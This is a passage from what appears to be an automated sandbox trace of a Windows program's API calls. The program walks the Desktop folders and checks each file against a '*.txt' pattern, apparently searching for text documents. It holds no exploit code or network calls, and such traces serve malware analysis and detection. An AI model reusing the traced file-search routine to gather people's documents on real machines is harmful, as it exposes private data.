returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.227] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.227] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="5 VEXDj.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv" [0146.227] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604e8 [0146.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.227] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x33400d0 [0146.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x33400d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", lpUsedDefaultChar=0x0) returned 70 [0146.227] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23611c0 [0146.227] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.227] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.227] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.227] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.227] PathMatchSpecW (pszFile="5 VEXDj.flv", pszSpec="*.txt") returned 0 [0146.227] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.227] FindNextFileW (in: hFindFile=0x882970, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bcdac10, ftCreationTime.dwHighDateTime=0x1d7af2b, ftLastAccessTime.dwLowDateTime=0x1a72cdf0, ftLastAccessTime.dwHighDateTime=0x1d7af68, ftLastWriteTime.dwLowDateTime=0x1a72cdf0, ftLastWriteTime.dwHighDateTime=0x1d7af68, nFileSizeHigh=0x0, nFileSizeLow=0x164e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9sPEz ZVnQg tF9.flv", cAlternateFileName="9SPEZZ~1.FLV")) returned 1 [0146.227] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.227] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.227] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="9sPEz ZVnQg tF9.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv" [0146.227] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.227] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.227] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="9sPEz ZVnQg tF9.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv" [0146.227] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604e8 [0146.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.227] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4e) returned 0x33400d0 [0146.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x33400d0, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", lpUsedDefaultChar=0x0) returned 78 [0146.228] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23611c0 [0146.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.228] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.228] PathMatchSpecW (pszFile="9sPEz ZVnQg tF9.flv", pszSpec="*.txt") returned 0 [0146.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.228] FindNextFileW (in: hFindFile=0x882970, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16675c0, ftCreationTime.dwHighDateTime=0x1d7aa93, ftLastAccessTime.dwLowDateTime=0xa2d48a40, ftLastAccessTime.dwHighDateTime=0x1d7ad3c, ftLastWriteTime.dwLowDateTime=0xa2d48a40, ftLastWriteTime.dwHighDateTime=0x1d7ad3c, nFileSizeHigh=0x0, nFileSizeLow=0x12a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JRz_Phqes8VP1D0jG57.wav", cAlternateFileName="JRZ_PH~1.WAV")) returned 1 [0146.228] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.228] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.228] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="JRz_Phqes8VP1D0jG57.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav" [0146.228] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.228] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.228] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="JRz_Phqes8VP1D0jG57.wav" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav" [0146.228] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xb0) returned 0x23604e8 [0146.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0146.228] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x52) returned 0x23611c0 [0146.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x23611c0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", lpUsedDefaultChar=0x0) returned 82 [0146.228] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x2361220 [0146.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.228] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.229] PathMatchSpecW (pszFile="JRz_Phqes8VP1D0jG57.wav", pszSpec="*.txt") returned 0 [0146.229] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361220 | out: hHeap=0x2360000) returned 1 [0146.229] FindNextFileW (in: hFindFile=0x882970, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16675c0, ftCreationTime.dwHighDateTime=0x1d7aa93, ftLastAccessTime.dwLowDateTime=0xa2d48a40, ftLastAccessTime.dwHighDateTime=0x1d7ad3c, ftLastWriteTime.dwLowDateTime=0xa2d48a40, ftLastWriteTime.dwHighDateTime=0x1d7ad3c, nFileSizeHigh=0x0, nFileSizeLow=0x12a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JRz_Phqes8VP1D0jG57.wav", cAlternateFileName="JRZ_PH~1.WAV")) returned 0 [0146.229] FindClose (in: hFindFile=0x882970 | out: hFindFile=0x882970) returned 1 [0146.229] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604e8 [0146.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0146.229] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3a) returned 0x33400d0 [0146.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x33400d0, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpUsedDefaultChar=0x0) returned 58 [0146.229] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x23611c0 [0146.229] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.229] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.229] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.229] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.229] PathMatchSpecW (pszFile="0bJmFQ", pszSpec="*.txt") returned 0 [0146.229] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.229] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Nmr4xl", cAlternateFileName="")) returned 1 [0146.229] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.229] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.229] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.229] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.229] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.230] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.230] lstrcmpW (lpString1="2Nmr4xl", lpString2=".") returned 1 [0146.230] lstrcmpW (lpString1="2Nmr4xl", lpString2="..") returned 1 [0146.230] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.230] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*" [0146.230] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882830 [0146.230] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.230] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.230] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\." [0146.230] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.230] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.230] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\." [0146.231] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.231] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.231] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.231] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.231] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.." [0146.231] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.231] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.231] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\..") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.." [0146.231] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.231] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.231] FindNextFileW (in: hFindFile=0x882830, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94bd6e00, ftCreationTime.dwHighDateTime=0x1d7ae53, ftLastAccessTime.dwLowDateTime=0xe0aef760, ftLastAccessTime.dwHighDateTime=0x1d7af26, ftLastWriteTime.dwLowDateTime=0xe0aef760, ftLastWriteTime.dwHighDateTime=0x1d7af26, nFileSizeHigh=0x0, nFileSizeLow=0xa6db, dwReserved0=0x0, dwReserved1=0x0, cFileName="fXPI66EalGh71Cb.flv", cAlternateFileName="FXPI66~1.FLV")) returned 1 [0146.231] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.231] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.231] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="fXPI66EalGh71Cb.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv" [0146.231] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.231] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.231] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="fXPI66EalGh71Cb.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv") 